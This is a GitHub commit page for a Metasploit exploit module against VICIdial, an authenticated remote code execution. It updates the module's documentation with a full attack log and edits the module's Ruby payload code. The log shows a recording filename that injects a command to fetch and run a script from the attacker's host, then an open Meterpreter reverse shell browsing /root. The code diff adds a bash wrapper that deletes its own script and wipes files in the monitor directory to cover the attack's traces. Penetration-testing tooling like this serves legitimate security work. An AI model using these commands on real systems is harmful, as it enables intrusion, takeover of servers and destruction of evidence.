Skip to content

Commit 10a4b24

Browse files
committed
Better file clean
1 parent 0515a1d commit 10a4b24

File tree

2 files changed

+44
-28
lines changed

2 files changed

+44
-28
lines changed

documentation/modules/exploit/unix/webapp/vicidial_agent_authenticated_rce.md

Lines changed: 41 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -181,46 +181,61 @@ System should be installed. Please type 'reboot' to cleanly load everything.
181181
Using `cmd/linux/http/x64/meterpreter_reverse_tcp`:
182182

183183
```
184-
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.4 username=6666 password=password
185-
[*] Exploit running as background job 7.
184+
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password
185+
[*] Exploit running as background job 12.
186186
[*] Exploit completed, but no session was created.
187187
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) >
188-
[*] Started reverse TCP handler on 192.168.1.36:1337
189-
[*] Using URL: http://192.168.1.36:5000/W5akuCuThi0ZAuR
188+
[*] Started reverse TCP handler on 192.168.1.36:4444
189+
[*] Running automatic check ("set AutoCheck false" to disable)
190+
[*] VICIdial version: 2.14-705
191+
[+] The target is vulnerable.
192+
[*] Using URL: http://192.168.1.36:5000/piAF2DipO
190193
[*] Server started.
191194
[*] Payload is ready at /
192195
[+] Authenticated successfully as user '6666'
193196
[+] Updated user settings to increase privileges
194197
[+] Updated system settings
195-
[+] Created dummy campaign 'Shanahan Group'
198+
[+] Created dummy campaign 'Haley-Huel'
196199
[+] Updated dummy campaign settings
197-
[+] Created dummy list 'Shanahan Group List' for campaign '134542'
200+
[+] Created dummy list 'Haley-Huel List' for campaign '898934'
198201
[+] Found phone credentials: Extension=callin, Password=test, Recording Extension=8309
199-
[+] Retrieved dynamic field names: MGR_login20240918, MGR_pass20240918
202+
[+] Retrieved dynamic field names: MGR_login20240926, MGR_pass20240926
200203
[+] Entered "manager" credentials to override shift enforcement
201204
[+] Authenticated as agent using phone credentials
202-
[+] Session Name: 1726664220_8300defaul12350341, Session ID: 8600051
203-
[*] Generated malicious command: $([email protected]:5000$IFS-o$IFS.Ip7&&bash$IFS.Ip7)
204-
[*] MonitorConf command sent for Channel Local/8309@default on 192.168.1.4
205-
Filename: $([email protected]:5000$IFS-o$IFS.Ip7&&bash$IFS.Ip7)
206-
RecorDing_ID: 5
205+
[+] Session Name: 1727385175_8300defaul11764031, Session ID: 8600051
206+
[*] Generated malicious command: $([email protected]:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
207+
[*] MonitorConf command sent for Channel Local/8309@default on 192.168.1.28
208+
Filename: $([email protected]:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
209+
RecorDing_ID: 10
207210
RECORDING WILL LAST UP TO 60 MINUTES
208211
209212
[+] Stopped malicious recording to prevent file size from growing
213+
[*] Deleting dummy campaign with ID: 898934
214+
[+] Campaign 898934 deleted successfully.
210215
[*] Waiting for 300 seconds to allow the cron job to execute the payload...
211-
[*] Received request at: /, Client Address: 192.168.1.4
212-
[*] Sending response to 192.168.1.4 for /
213-
[*] Sending stage (3045380 bytes) to 192.168.1.4
214-
[*] Meterpreter session 45 opened (192.168.1.36:1337 -> 192.168.1.4:7040) at 2024-09-18 16:56:48 +0200
215-
216-
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 45
217-
[*] Starting interaction with 45...
218-
219-
meterpreter > sysinfo
220-
Computer : 192.168.1.4
221-
OS : (Linux 5.14.21-150500.55.12-default)
222-
Architecture : x64
223-
BuildTuple : x86_64-linux-musl
224-
Meterpreter : x64/linux
216+
[*] Received request at: / - Client Address: 192.168.1.28
217+
[*] Sending response to 192.168.1.28 for /
218+
[*] Sending stage (3045380 bytes) to 192.168.1.28
219+
[*] Meterpreter session 18 opened (192.168.1.36:4444 -> 192.168.1.28:26572) at 2024-09-27 01:14:12 +0200
220+
221+
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18
222+
[*] Starting interaction with 18...
223+
224+
meterpreter > pwd
225+
/var/spool/asterisk/monitor
226+
meterpreter > ls
227+
No entries exist in /var/spool/asterisk/monitor
228+
meterpreter > ls /root/
229+
Listing: /root/
230+
===============
231+
232+
Mode Size Type Last modified Name
233+
---- ---- ---- ------------- ----
234+
100600/rw------- 254 fil 2024-09-26 22:31:38 +0200 .bash_history
235+
040700/rwx------ 4096 dir 2022-03-15 12:35:24 +0100 .gnupg
236+
040755/rwxr-xr-x 4096 dir 2023-08-06 12:37:28 +0200 .subversion
237+
100644/rw-r--r-- 35 fil 2023-08-06 12:37:27 +0200 .zypper.conf
238+
040755/rwxr-xr-x 4096 dir 2022-03-15 12:35:24 +0100 bin
239+
225240
meterpreter >
226241
```

modules/exploits/unix/webapp/vicidial_agent_authenticated_rce.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -139,9 +139,10 @@ def primer
139139
def on_request_uri_payload(cli, request)
140140
bash_command = <<-BASH
141141
#!/bin/bash
142+
rm -- $(readlink /proc/$$/fd/255)
142143
cd /var/spool/asterisk/monitor/
143-
find . -maxdepth 1 -type f -delete
144144
#{payload.encoded}
145+
find . -maxdepth 1 -type f -delete
145146
BASH
146147

147148
handle_request(cli, request, bash_command)
@@ -570,4 +571,4 @@ def wait_for_cron_job
570571
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
571572
service.wait
572573
end
573-
end
574+
end

0 commit comments

Comments
 (0)